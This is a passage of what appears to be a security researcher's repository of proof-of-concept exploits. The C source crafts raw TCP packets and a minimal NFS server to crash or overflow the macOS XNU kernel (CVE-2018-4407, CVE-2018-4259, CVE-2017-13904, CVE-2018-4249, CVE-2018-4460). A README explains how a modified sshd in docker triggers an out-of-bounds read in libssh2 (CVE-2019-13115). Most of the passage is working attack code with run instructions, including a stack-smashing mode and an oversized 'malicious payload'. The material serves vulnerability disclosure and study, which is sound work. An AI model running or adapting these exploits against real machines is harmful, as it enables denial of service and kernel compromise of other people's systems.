uint16_t dst_port = ntohs(22); 18 | const uint16_t src_port = ntohs(1234); 19 | 20 | const int sock = create_raw_socket(); 21 | if (sock < 0) { 22 | printf("Failed to create socket. Try running with sudo.\n"); 23 | return 1; 24 | } 25 | 26 | int i; 27 | for (i = 1; i < argc; i++) { 28 | const uint32_t dst = inet_addr(argv[i]); 29 | const int r0 = send_packet(sock, src, src_port, dst, dst_port, 0, 0, 1, 0); 30 | if (r0 < 0) { 31 | printf("send to %s failed\n", argv[i]); 32 | return 1; 33 | } 34 | } 35 | 36 | const int r1 = close(sock); 37 | if (r1 < 0) { 38 | printf("could not close socket.\n"); 39 | return -1; 40 | } 41 | 42 | // Data sent successfully 43 | printf("Packets sent successfully\n"); 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/send_packet.c: -------------------------------------------------------------------------------- 1 | #include "send_packet.h" 2 | 3 | // Create and send a TCP packet, which triggers the following callpath: 4 | // 5 | // 1. ip_input() bsd/netinet/ip_input.c:1835 6 | // 2. call to ip_dooptions() bsd/netinet/ip_input.c:2185 7 | // 3. ip_dooptions() bsd/netinet/ip_input.c:3222 8 | // 4. goto bad bsd/netinet/ip_input.c:3250 9 | // 5. call icmp_error bsd/netinet/ip_input.c:3495 10 | // 6. icmp_error() bsd/netinet/ip_icmp.c:203 11 | // 7. call m_copydata() bsd/netinet/ip_icmp.c:339 12 | // 13 | int send_packet( 14 | const int sock, 15 | const uint32_t src, const uint16_t src_port, // In network byte order 16 | const uint32_t dst, const uint16_t dst_port, // In network byte order 17 | const uint32_t seq, const uint32_t ack_seq, 18 | const uint16_t syn, const uint16_t ack 19 | ) { 20 | char packet[1024]; 21 | memset(packet, 0, sizeof(packet)); 22 | 23 | struct iphdr* ip_hdr = (struct iphdr*)packet; 24 | const size_t ip_hdrlen = 60; // Maximum IP header size. 25 | struct tcphdr* tcp_hdr = (struct tcphdr*)(ip_hdrlen + (char*)ip_hdr); 26 | const size_t tcp_hdrlen = 60; // Maximum TCP header size. 27 | const char* payload = tcp_hdrlen + (char*)tcp_hdr; 28 | const size_t payload_len = &packet[sizeof(packet)] - payload; 29 | 30 | // Fill in the IP Header 31 | memset(ip_hdr, 0, ip_hdrlen); 32 | ip_hdr->ihl = ip_hdrlen >> 2; 33 | ip_hdr->version = 4; 34 | ip_hdr->tos = 0; 35 | ip_hdr->tot_len = ip_hdrlen + tcp_hdrlen + payload_len; 36 | ip_hdr->id = htonl (54321); // Id of this packet 37 | ip_hdr->frag_off = 0; 38 | ip_hdr->ttl = 255; 39 | ip_hdr->protocol = IPPROTO_TCP; 40 | ip_hdr->check = 0; // Checksum will be computed later. 41 | ip_hdr->saddr = src; 42 | ip_hdr->daddr = dst; 43 | 44 | unsigned char* ip_opt = sizeof(struct iphdr) + (unsigned char*)ip_hdr; 45 | size_t ip_optlen = ip_hdrlen - sizeof(struct iphdr); 46 | memset(ip_opt, IPOPT_NOP, ip_optlen); 47 | // This assignment makes the options invalid, which will 48 | // trigger the call to icmp_error() at bsd/netinet/ip_input.c:3495 49 | ip_opt[ip_optlen-1] = IPOPT_EOL; 50 | ip_opt[0] = IPOPT_LSRR; 51 | ip_opt[1] = 3; 52 | ip_opt[2] = 0; // Invalid: triggers "goto bad" at ip_input.c:3281 53 | 54 | // TCP Header 55 | memset(tcp_hdr, 0, tcp_hdrlen); 56 | tcp_hdr->source = src_port; 57 | tcp_hdr->dest = dst_port; 58 | tcp_hdr->seq = seq; 59 | tcp_hdr->ack_seq = ack_seq; 60 | tcp_hdr->doff = tcp_hdrlen >> 2; 61 | tcp_hdr->fin = 0; 62 | tcp_hdr->syn = syn; 63 | tcp_hdr->rst = 0; 64 | tcp_hdr->psh = 0; 65 | tcp_hdr->ack = ack; 66 | tcp_hdr->urg = 0; 67 | tcp_hdr->window = htons (5840); // maximum allowed window size 68 | tcp_hdr->check = 0; // Checksum will be computed later 69 | tcp_hdr->urg_ptr = 0; 70 | 71 | // Compute checksums. 72 | tcp_checksum( 73 | ip_hdr, 74 | ip_hdrlen, 75 | tcp_hdr, 76 | tcp_hdrlen, 77 | payload, 78 | payload_len 79 | ); 80 | 81 | // Send the packet 82 | struct sockaddr_in sin; 83 | memset(&sin, 0, sizeof(sin)); 84 | sin.sin_family = AF_INET; 85 | sin.sin_port = dst_port; 86 | sin.sin_addr.s_addr = dst; 87 | 88 | const int r0 = 89 | sendto( 90 | sock, packet, ip_hdr->tot_len, 0, 91 | (struct sockaddr *)&sin, sizeof(sin) 92 | ); 93 | if (r0 < 0) { 94 | const int err = errno; 95 | printf("send failed %d err=%d %s\n", r0, err, strerror(err)); 96 | return -1; 97 | } 98 | 99 | return 0; 100 | } 101 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/send_packet.h: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | int send_packet( 4 | const int sock, 5 | const uint32_t src, const uint16_t src_port, // In network byte order 6 | const uint32_t dst, const uint16_t dst_port, // In network byte order 7 | const uint32_t seq, const uint32_t ack_seq, 8 | const uint16_t syn, const uint16_t ack 9 | ); 10 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/utils.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | // Compute the Internet Checksum (https://tools.ietf.org/html/rfc1071). One 4 | // of the particularly clever features of the Internet Checksum is its byte 5 | // order independence. In other words, it is not a bug that this function 6 | // does not contain any calls to `ntohs` or `htons`. 7 | uint16_t checksum(const uint16_t* buf, size_t n, const uint16_t start) { 8 | // The tot_len field of an IP header is a uint16_t, so the number of 9 | // bytes will never exceed the capacity of a uint16_t. 10 | assert(n == (uint16_t)n); 11 | 12 | uint32_t sum = start; 13 | 14 | while (n > 1) { 15 | sum += *buf; 16 | buf++; 17 | n -= 2; 18 | } 19 | 20 | if (n > 0) { 21 | // Read the final byte as though there was an extra zero byte 22 | // at the end of the buffer. 23 | uint16_t x = 0; 24 | memcpy(&x, buf, 1); 25 | sum += x; 26 | } 27 | 28 | // The code below is an efficent way to compute sum `mod` 0xFFFF. 29 | // It is based on this insight: 30 | // 31 | // 1. 0x10000 `mod` 0xFFFF == 1. 32 | // 2. Therefore, (a * 0x10000 + b) `mod` 0xFFFF == (a + b) `mod` 0xFFFF. 33 | sum = (sum>>16) + (sum & 0xFFFF); 34 | assert(sum <= 0x1FFFE); 35 | sum = sum + (sum>>16); // Add carry bit. 36 | 37 | // Truncate to 16 bits. 38 | // Note: this might return the answer 0xFFFF. 0xFFFF `mod` 0xFFFF == 0, 39 | // so this means that in this case the code returns a different answer 40 | // than if we had just used the % operator. But the value 0xFFFF is 41 | // allowed (in fact, preferred) as an internet checksum, so this is ok. 42 | return sum; 43 | } 44 | 45 | // Finalize the checksum by computing its complement (except if 46 | // the complement is zero). 47 | static uint16_t wrapsum(uint16_t c) { 48 | // In 1's complement arithmetic, the numbers 0 and 0xFFFF are equivalent, 49 | // but the number 0xFFFF is preferred over 0. So before we compute the 50 | // complement, we do some bit twiddling to map 0xFFFF to 0. 51 | uint32_t x = c; 52 | ++x; 53 | c += x >> 16; // x >> 16 == 0, unless c == 0xFFFF. 54 | 55 | return ~c; 56 | } 57 | 58 | // Used to calculate the TCP checksum. 59 | struct pseudo_header { 60 | uint32_t source_address; 61 | uint32_t dest_address; 62 | uint8_t placeholder; 63 | uint8_t protocol; 64 | uint16_t tcp_length; 65 | }; 66 | 67 | // Set the checksum fields in an IP header. 68 | void ip_checksum( 69 | struct iphdr* ip_hdr, 70 | const size_t ip_hdrlen 71 | ) { 72 | assert(ip_hdrlen == (uint16_t)ip_hdrlen); 73 | assert((ip_hdrlen & 3) == 0); 74 | assert(ip_hdr->check == 0); 75 | 76 | // Calculate IP header checksum. 77 | ip_hdr->check = wrapsum(checksum((uint16_t*)ip_hdr, ip_hdrlen, 0)); 78 | } 79 | 80 | // Set the IP and TCP checksum fields in a TCP packet. 81 | void tcp_checksum( 82 | struct iphdr* ip_hdr, 83 | size_t ip_hdrlen, 84 | struct tcphdr* tcp_hdr, 85 | size_t tcp_hdrlen, 86 | const char* payload, 87 | size_t payload_len 88 | ) { 89 | assert(ip_hdrlen == (uint16_t)ip_hdrlen); 90 | assert((ip_hdrlen & 3) == 0); 91 | assert(tcp_hdrlen == (uint16_t)tcp_hdrlen); 92 | assert(payload_len == (uint16_t)payload_len); 93 | assert(ip_hdr->check == 0); 94 | assert(tcp_hdr->check == 0); 95 | 96 | const size_t ip_len = ip_hdrlen + tcp_hdrlen + payload_len; 97 | // Note: the assertion below also checks that ip_len will not 98 | // overflow a uint16_t. 99 | assert(ip_len == ip_hdr->tot_len); 100 | 101 | // Calculate IP header checksum. 102 | ip_checksum(ip_hdr, ip_hdrlen); 103 | 104 | // Create pseudo-header for TCP checksum calculation. 105 | struct pseudo_header psh; 106 | memset(&psh, 0, sizeof (psh)); 107 | psh.source_address = ip_hdr->saddr; 108 | psh.dest_address = ip_hdr->daddr; 109 | psh.placeholder = 0; 110 | psh.protocol = IPPROTO_TCP; 111 | psh.tcp_length = htons(tcp_hdrlen + payload_len); 112 | 113 | // Calculate TCP checksum. 114 | uint16_t sum = 0; 115 | sum = checksum((uint16_t*)&psh, sizeof(psh), sum); 116 | sum = checksum((uint16_t*)tcp_hdr, tcp_hdrlen + payload_len, sum); 117 | tcp_hdr->check = wrapsum(sum); 118 | } 119 | 120 | int create_raw_socket() { 121 | const int sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 122 | if (sock == -1) { 123 | printf("Failed to create socket. Try running with sudo.\n"); 124 | return -1; 125 | } 126 | 127 | // IP_HDRINCL to tell the kernel that headers are included in the packet 128 | int one = 1; 129 | if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0) { 130 | printf("Error setting IP_HDRINCL\n"); 131 | return -1; 132 | } 133 | 134 | return sock; 135 | } 136 | 137 | // Create a TCP socket and start listening on the specified port. 138 | int create_socket_and_listen(uint16_t port) { 139 | // Create a socket for listening on port 80. 140 | const int sock = socket(PF_INET, SOCK_STREAM, 0); 141 | if (sock < 0) { 142 | printf("Failed to create socket. Try running with sudo.\n"); 143 | return -1; 144 | } 145 | 146 | // Allow the port to be reused as soon as the program terminates. 147 | int one = 1; 148 | const int r0 = 149 | setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 150 | if (r0 < 0) { 151 | printf("Failed to set SO_REUSEADDR\n."); 152 | return -1; 153 | } 154 | 155 | // Bind the port. 156 | struct sockaddr_in http_addr; 157 | memset(&http_addr, 0, sizeof(http_addr)); 158 | http_addr.sin_port = htons(port); 159 | http_addr.sin_addr.s_addr = INADDR_ANY; 160 | 161 | if (bind(sock, (struct sockaddr *)&http_addr, sizeof(http_addr)) < 0) { 162 | int err = errno; 163 | printf( 164 | "Error binding HTTP socket. Try running with sudo.\nerrno = %d %s\n", 165 | err, strerror(err) 166 | ); 167 | return -1; 168 | } 169 | 170 | // Start listening. 171 | const int r1 = listen(sock, SOMAXCONN); 172 | if (r1 < 0) { 173 | printf("listen failed.\n"); 174 | return -1; 175 | } 176 | 177 | return sock; 178 | } 179 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/utils.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | uint16_t checksum(const uint16_t* buf, size_t n, const uint16_t start); 12 | 13 | void ip_checksum( 14 | struct iphdr* ip_hdr, 15 | const size_t ip_hdrlen 16 | ); 17 | 18 | void tcp_checksum( 19 | struct iphdr* ip_hdr, 20 | size_t ip_hdrlen, 21 | struct tcphdr* tcp_hdr, 22 | size_t tcp_hdrlen, 23 | const char* payload, 24 | size_t payload_len 25 | ); 26 | 27 | int create_raw_socket(); 28 | 29 | int create_socket_and_listen(uint16_t port); 30 | -------------------------------------------------------------------------------- /apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/.gitignore: -------------------------------------------------------------------------------- 1 | kevfs 2 | nfs_clnt.c 3 | nfs_svc.c 4 | nfs_xdr.c 5 | nfs.h 6 | *.o 7 | -------------------------------------------------------------------------------- /apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/Makefile: -------------------------------------------------------------------------------- 1 | kevfs: nfs_svc.o nfs_xdr.o kevfs.o 2 | gcc -g -O0 -Wall nfs_svc.o nfs_xdr.o kevfs.o -o kevfs 3 | 4 | kevfs.o: kevfs.c 5 | gcc -g -O0 -c -Wall kevfs.c 6 | 7 | nfs_svc.o: nfs_svc.c 8 | gcc -g -O0 -c -Wall nfs_svc.c 9 | 10 | nfs_xdr.o: nfs_xdr.c 11 | gcc -g -O0 -c nfs_xdr.c 12 | 13 | nfs_svc.c: nfs.h 14 | 15 | nfs_xdr.c: nfs.h 16 | 17 | nfs.h: nfs.x 18 | rpcgen nfs.x 19 | 20 | clean: 21 | rm -f *~ *.o nfs_clnt.c nfs_svc.c nfs_xdr.c nfs.h kevfs 22 | -------------------------------------------------------------------------------- /apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md: -------------------------------------------------------------------------------- 1 | ## Buffer overflows in macOS NFS client (CVE-2018-4259, CVE-2018-4286, CVE-2018-4287, CVE-2018-4288, CVE-2018-4291) 2 | 3 | This directory contains a minimal [NFS](https://en.wikipedia.org/wiki/Network_File_System) server. It only implements a very small subset of the [NFS protocol](https://www.ietf.org/rfc/rfc1813.txt): just enough to trigger one of the buffer overflow vulnerabilities in the macOS XNU operating system kernel. The vulnerabilities were fixed in macOS version [10.13.6](https://support.apple.com/en-gb/HT208937). 4 | 5 | For more details about the vulnerabilities, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_nfs_vfsops_CVE-2018-4259). 6 | 7 | To compile and run (on Linux): 8 | 9 | ```bash 10 | $ make 11 | $ ./kevfs 12 | ``` 13 | 14 | To trigger the exploit, you need to attempt to mount a folder on the Mac. Suppose the IP address of the server is `192.168.0.15`: 15 | 16 | ```bash 17 | $ mkdir ~/mnt 18 | $ mount -t nfs 192.168.0.15:/export ~/mnt 19 | ``` 20 | 21 | Note that `sudo` access is not required to trigger the bug on the Mac, because we are only attempting to mount to `~/mnt`. 22 | 23 | There is a second vulnerability which can be triggered with a small modification to the server: it should return an `fhandle3` with size `0xFFFFFFFF`. This requires a change to the code, because we don't want to send a 4GB payload with the message. The simplest way to do this is to change the definition of `fhandle3` in `nfs.x` so that it contains a `uint32`, rather than an `opaque`. The uint needs to be initialized to 0xFFFFFFFF in `kevfs.c`. 24 | -------------------------------------------------------------------------------- /apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/kevfs.c: -------------------------------------------------------------------------------- 1 | /** 2 | * This file implements a minimal subset of the RPC protocol for NFS. 3 | * Its purpose is to demonstrate that there is a buffer overflow 4 | * vulnerability in the kernel of Mac OS version 10.13.5. 5 | */ 6 | 7 | #include 8 | #include 9 | #include "nfs.h" 10 | 11 | static int void_buf = 0; 12 | 13 | void* nfsproc3_null_3_svc(void *x, struct svc_req *req) { 14 | printf("nfsproc3_null_3_svc\n"); 15 | return &void_buf; 16 | } 17 | 18 | void* mountproc3_null_3_svc(void *x, struct svc_req *req) { 19 | printf("mountproc3_null_3_svc\n"); 20 | return &void_buf; 21 | } 22 | 23 | mountres3* mountproc3_mnt_3_svc(dirpath *path, struct svc_req *req) { 24 | static struct mountres3 result; 25 | static int auth_flavors[1] = {1}; // RPCAUTH_SYS 26 | static const uint32_t far_too_big_fhandle3_size = 0x1000; 27 | 28 | printf("mountproc3_mnt_3_svc\n"); 29 | 30 | result.fhs_status = 0; 31 | 32 | // Malicious payload. Note: there is a second vulnerability which can be 33 | // triggered by setting far_too_big_fhandle3_size == 0xFFFFFFFF. But this 34 | // will only work if we manually edit the auto-generated file nfs_xdr.c 35 | // so that it doesn't attempt to create a message with 4GB of data. 36 | result.mountres3_u.mountinfo.fhandle.data.data_len = far_too_big_fhandle3_size; 37 | result.mountres3_u.mountinfo.fhandle.data.data_val = malloc(far_too_big_fhandle3_size); 38 | memset(result.mountres3_u.mountinfo.fhandle.data.data_val, 0, far_too_big_fhandle3_size); 39 | 40 | result.mountres3_u.mountinfo.auth_flavors.auth_flavors_len = 1; 41 | result.mountres3_u.mountinfo.auth_flavors.auth_flavors_val = auth_flavors; 42 | return &result; 43 | } 44 | -------------------------------------------------------------------------------- /apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/nfs.x: -------------------------------------------------------------------------------- 1 | /* 2 | * This file contains a subset of the RPC protocol for NFS, as described in 3 | * RFC 1813: 4 | * 5 | * https://www.ietf.org/rfc/rfc1813.txt 6 | * 7 | * Apart from omitting parts of the protocol that are not needed, only one 8 | * modification has been made: 9 | * 10 | * 1. The upper bound of the opaque data in an fhandle3 has been omitted, 11 | * to demonstrate a buffer overflow in Mac OS version 10.13.5. 12 | */ 13 | 14 | struct fhandle3 { 15 | opaque data<>; /* Note: upper bound deliberately omitted */ 16 | }; 17 | 18 | enum mountstat3 { 19 | MNT3_OK = 0, /* no error */ 20 | MNT3ERR_PERM = 1, /* Not owner */ 21 | MNT3ERR_NOENT = 2, /* No such file or directory */ 22 | MNT3ERR_IO = 5, /* I/O error */ 23 | MNT3ERR_ACCES = 13, /* Permission denied */ 24 | MNT3ERR_NOTDIR = 20, /* Not a directory */ 25 | MNT3ERR_INVAL = 22, /* Invalid argument */ 26 | MNT3ERR_NAMETOOLONG = 63, /* Filename too long */ 27 | MNT3ERR_NOTSUPP = 10004, /* Operation not supported */ 28 | MNT3ERR_SERVERFAULT = 10006 /* A failure on the server */ 29 | }; 30 | 31 | program NFS_PROGRAM { 32 | version NFS_V3 { 33 | void 34 | NFSPROC3_NULL(void) = 0; 35 | } = 3; 36 | } = 100003; 37 | 38 | const MNTPATHLEN = 1024; 39 | typedef string dirpath; 40 | 41 | struct mountres3_ok { 42 | fhandle3 fhandle; 43 | int auth_flavors<>; 44 | }; 45 | 46 | const MNT_OK = 0; 47 | 48 | union mountres3 switch (mountstat3 fhs_status) { 49 | case MNT_OK: 50 | mountres3_ok mountinfo; 51 | default: 52 | void; 53 | }; 54 | 55 | program MOUNT_PROGRAM { 56 | version MOUNT_V3 { 57 | void MOUNTPROC3_NULL(void) = 0; 58 | mountres3 MOUNTPROC3_MNT(dirpath) = 1; 59 | } = 3; 60 | } = 100005; 61 | -------------------------------------------------------------------------------- /apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md: -------------------------------------------------------------------------------- 1 | ## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249, CVE-2018-4460) 2 | 3 | Proof-of-concept exploit for remote code execution vulnerability in the packet-mangler component of macOS: CVE-2017-13904, CVE-2018-4249. The vulnerability was fixed in macOS High Sierra 10.13.5, which was released on June 1, 2018. 4 | 5 | Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018. 6 | 7 | For details on how to compile and run this exploit, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904). 8 | -------------------------------------------------------------------------------- /apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright Kevin Backhouse / Semmle Ltd (2018) 3 | * License: Apache License 2.0 4 | * 5 | * The code in this file is derived from code written by Silver Moon. 6 | * Silver Moon's original version is available at this url: 7 | * http://www.binarytides.com/raw-sockets-c-code-linux/ 8 | */ 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #define TCP_OPT_MULTIPATH_TCP 30 19 | 20 | // 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation 21 | struct pseudo_header 22 | { 23 | u_int32_t source_address; 24 | u_int32_t dest_address; 25 | u_int8_t placeholder; 26 | u_int8_t protocol; 27 | u_int16_t tcp_length; 28 | }; 29 | 30 | // Generic checksum calculation function 31 | unsigned short csum(unsigned short *ptr, int nbytes) 32 | { 33 | long sum; 34 | unsigned short oddbyte; 35 | short answer; 36 | 37 | printf("nbytes = %d\n", nbytes); 38 | 39 | sum = 0; 40 | while (nbytes > 1) { 41 | sum += *ptr++; 42 | nbytes -= 2; 43 | } 44 | if (nbytes == 1) { 45 | oddbyte = 0; 46 | *((u_char*)&oddbyte) = *(u_char*)ptr; 47 | sum += oddbyte; 48 | } 49 | 50 | sum = (sum>>16) + (sum & 0xffff); 51 | sum = sum + (sum>>16); 52 | answer = (short)~sum; 53 | 54 | printf("answer = 0x%x\n", answer); 55 | 56 | return answer; 57 | } 58 | 59 | enum Mode { 60 | InfiniteLoopMode, // CVE-2017-13904 61 | InfiniteLoopMode2, // CVE-2018-4460 62 | SmashStackMode // CVE-2018-4249 63 | }; 64 | 65 | int main(int argc, char* argv[]) 66 | { 67 | int s = 0; 68 | const int datagramsize = 4096; 69 | int payloadsize = 40; 70 | // Datagram to represent the packet 71 | char datagram[datagramsize], source_ip[32], dest_ip[32], *data , *pseudogram; 72 | enum Mode mode = 0; 73 | 74 | if (argc != 4) { 75 | printf("Usage: sudo ./a.out \n"); 76 | printf("Examples:\n"); 77 | printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n"); 78 | printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite2\n"); 79 | printf(" sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n"); 80 | return 1; 81 | } 82 | 83 | strncpy(source_ip, argv[1], sizeof(source_ip)); 84 | strncpy(dest_ip, argv[2], sizeof(dest_ip)); 85 | source_ip[sizeof(source_ip) - 1] = '\0'; 86 | dest_ip[sizeof(dest_ip) - 1] = '\0'; 87 | 88 | if (strcmp(argv[3], "infinite") == 0) { 89 | // CVE-2017-13904 90 | mode = InfiniteLoopMode; 91 | } else if (strcmp(argv[3], "infinite2") == 0) { 92 | // CVE-2018-4460 93 | mode = InfiniteLoopMode2; 94 | printf("infinite2\n"); 95 | } else if (strcmp(argv[3], "smashstack") == 0) { 96 | // CVE-2018-4249 97 | mode = SmashStackMode; 98 | payloadsize = 1000; 99 | } else { 100 | printf("Mode not recognized. Choose from:\n"); 101 | printf(" infinite\n"); 102 | printf(" smashstack\n"); 103 | return 1; 104 | } 105 | 106 | printf("source: %s\n", source_ip); 107 | printf("dest: %s\n", dest_ip); 108 | printf("mode: %d\n", mode); 109 | 110 | s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 111 | if (s == -1) { 112 | printf("Failed to create socket. Try running with sudo.\n"); 113 | return 1; 114 | } 115 | 116 | memset (datagram, 0, datagramsize); 117 | 118 | // IP header 119 | struct iphdr *iph = (struct iphdr *) datagram; 120 | 121 | // TCP header 122 | struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); 123 | struct sockaddr_in sin; 124 | struct pseudo_header psh; 125 | 126 | // Data part 127 | data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr); 128 | memset(data, 1, payloadsize); 129 | 130 | if (mode == InfiniteLoopMode) { 131 | // Trigger bug here: 132 | // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L966 133 | data[0] = 2; 134 | data[1] = 0; 135 | } else if (mode == InfiniteLoopMode2) { 136 | // Trigger bug here: 137 | // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L993 138 | data[0] = TCP_OPT_MULTIPATH_TCP; 139 | data[1] = 0; 140 | } 141 | 142 | // some address resolution 143 | sin.sin_family = AF_INET; 144 | sin.sin_port = htons(22); 145 | sin.sin_addr.s_addr = inet_addr(dest_ip); 146 | 147 | // Fill in the IP Header 148 | iph->ihl = 5; 149 | iph->version = 4; 150 | iph->tos = 0; 151 | iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + payloadsize; 152 | iph->id = htonl (54321); // Id of this packet 153 | iph->frag_off = 0; 154 | iph->ttl = 255; 155 | iph->protocol = IPPROTO_TCP; 156 | iph->check = 0; // Set to 0 before calculating checksum 157 | iph->saddr = inet_addr(source_ip); 158 | iph->daddr = sin.sin_addr.s_addr; 159 | 160 | // Ip checksum 161 | iph->check = csum((unsigned short *) datagram, iph->tot_len); 162 | 163 | // TCP Header 164 | tcph->source = htons (1234); 165 | tcph->dest = htons (22); 166 | tcph->seq = 0; 167 | tcph->ack_seq = 0; 168 | if (mode == SmashStackMode) { 169 | // Trigger bug here: 170 | // https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L951 171 | tcph->doff = 0; 172 | } else { 173 | tcph->doff = 0xF; 174 | } 175 | tcph->fin=0; 176 | tcph->syn=1; 177 | tcph->rst=0; 178 | tcph->psh=0; 179 | tcph->ack=0; 180 | tcph->urg=0; 181 | tcph->window = htons (5840); // maximum allowed window size 182 | tcph->check = 0; // leave checksum 0 now, filled later by pseudo header 183 | tcph->urg_ptr = 0; 184 | 185 | // Now the TCP checksum 186 | psh.source_address = inet_addr(source_ip); 187 | psh.dest_address = sin.sin_addr.s_addr; 188 | psh.placeholder = 0; 189 | psh.protocol = IPPROTO_TCP; 190 | psh.tcp_length = htons(sizeof(struct tcphdr) + payloadsize); 191 | 192 | int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + payloadsize; 193 | pseudogram = malloc(psize); 194 | 195 | memcpy(pseudogram, (char*) &psh, sizeof (struct pseudo_header)); 196 | memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + payloadsize); 197 | 198 | tcph->check = csum((unsigned short*)pseudogram, psize); 199 | 200 | // IP_HDRINCL to tell the kernel that headers are included in the packet 201 | int one = 1; 202 | if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0) { 203 | printf("Error setting IP_HDRINCL\n"); 204 | return 1; 205 | } 206 | 207 | // Send the packet 208 | if (sendto (s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) { 209 | printf("sendto failed\n"); 210 | return 1; 211 | } 212 | 213 | // Data sent successfully 214 | printf ("Packet Send. Length : %d \n", iph->tot_len); 215 | 216 | return 0; 217 | } 218 | -------------------------------------------------------------------------------- /libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md: -------------------------------------------------------------------------------- 1 | # Out-of-bounds read in libssh2 (CVE-2019-13115) 2 | 3 | [libssh2](https://www.libssh2.org/) version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version [1.9.0](https://www.libssh2.org/changes.html), released on 2018-06-20. 4 | 5 | This directory contains a proof of concept exploit for the vulnerability. It uses [docker](https://www.docker.com/) to simulate two computers. The first is a server, running [openssh](https://www.openssh.com/) with some malicious source code modifications. The second is a client, running `libssh2`. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client. 6 | 7 | I originally developed this proof of concept to highlight a vulnerability in an incorrectly implemented bounds checking function: 8 | 9 | ``` 10 | int _libssh2_check_length(struct string_buf *buf, size_t len) 11 | { 12 | return ((int)(buf->dataptr - buf->data) <= (int)(buf->len - len)) ? 1 : 0; 13 | } 14 | ``` 15 | 16 | The above code snippet is from revision [38bf7ce](https://github.com/libssh2/libssh2/blob/38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa/src/misc.c#L814). The PoC works by making `len` greater than `buf->len + 0x80000000` so that the calculation of `(int)(buf->len - len)` overflows and becomes a very large positive number, thereby bypassing the bounds check and causing libssh2 to crash with a segmentation fault. However, I learned later that `_libssh2_check_length` was introduced on the main development branch after the release of version 1.8.2, so this vulnerable bounds check does not exist in version 1.8.2. Unfortunately, version 1.8.2 contains no bounds check whatsoever. This means that much smaller values of `len` can trigger an out-of-bounds read on version 1.8.2. If you are interested in experimenting with this, search for a variable named `evil_offset` in [`diff.txt`](server/home/diff.txt#L53) and change its value to something smaller. 17 | 18 | ## Network setup 19 | 20 | Create a docker network bridge, to simulate a network with two separate computers. 21 | 22 | ``` 23 | docker network create -d bridge --subnet 172.18.0.0/16 libssh2-demo-network 24 | ``` 25 | 26 | ## Server setup 27 | 28 | Build the docker image: 29 | 30 | ``` 31 | docker build server -t libssh2-server --build-arg UID=`id -u` 32 | ``` 33 | 34 | Start the container: 35 | 36 | ``` 37 | docker run --rm --network libssh2-demo-network --ip=172.18.0.10 -i -t libssh2-server 38 | ``` 39 | 40 | Start the malicious ssh server: 41 | 42 | ``` 43 | sudo /usr/local/sbin/sshd # password is x 44 | ``` 45 | 46 | ## Client setup 47 | 48 | Build the docker image: 49 | 50 | ``` 51 | docker build client -t libssh2-client --build-arg UID=`id -u` 52 | ``` 53 | 54 | Start the container: 55 | 56 | ``` 57 | docker run --rm --network libssh2-demo-network --ip=172.18.0.11 -i -t libssh2-client 58 | ``` 59 | 60 | If you want to be able to debug libssh2 with gdb, then you need to start the container with a few extra arguments: 61 | 62 | ``` 63 | docker run --rm --network libssh2-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t libssh2-client 64 | ``` 65 | 66 | In the container, attempt to connect to the server: 67 | 68 | ``` 69 | cd ~/libssh2/example 70 | ./ssh2 172.18.0.10 hal x 71 | ``` 72 | 73 | This command crashes with a segmentation fault. 74 | 75 | If you would like to debug libssh2 with gdb, then start it like this: 76 | 77 | ``` 78 | cd ~/libssh2/example/.libs 79 | LD_LIBRARY_PATH="/home/victim/libssh2/src/.libs:$LD_LIBRARY_PATH" gdb --args ./ssh2 172.18.0.10 hal x 80 | ``` 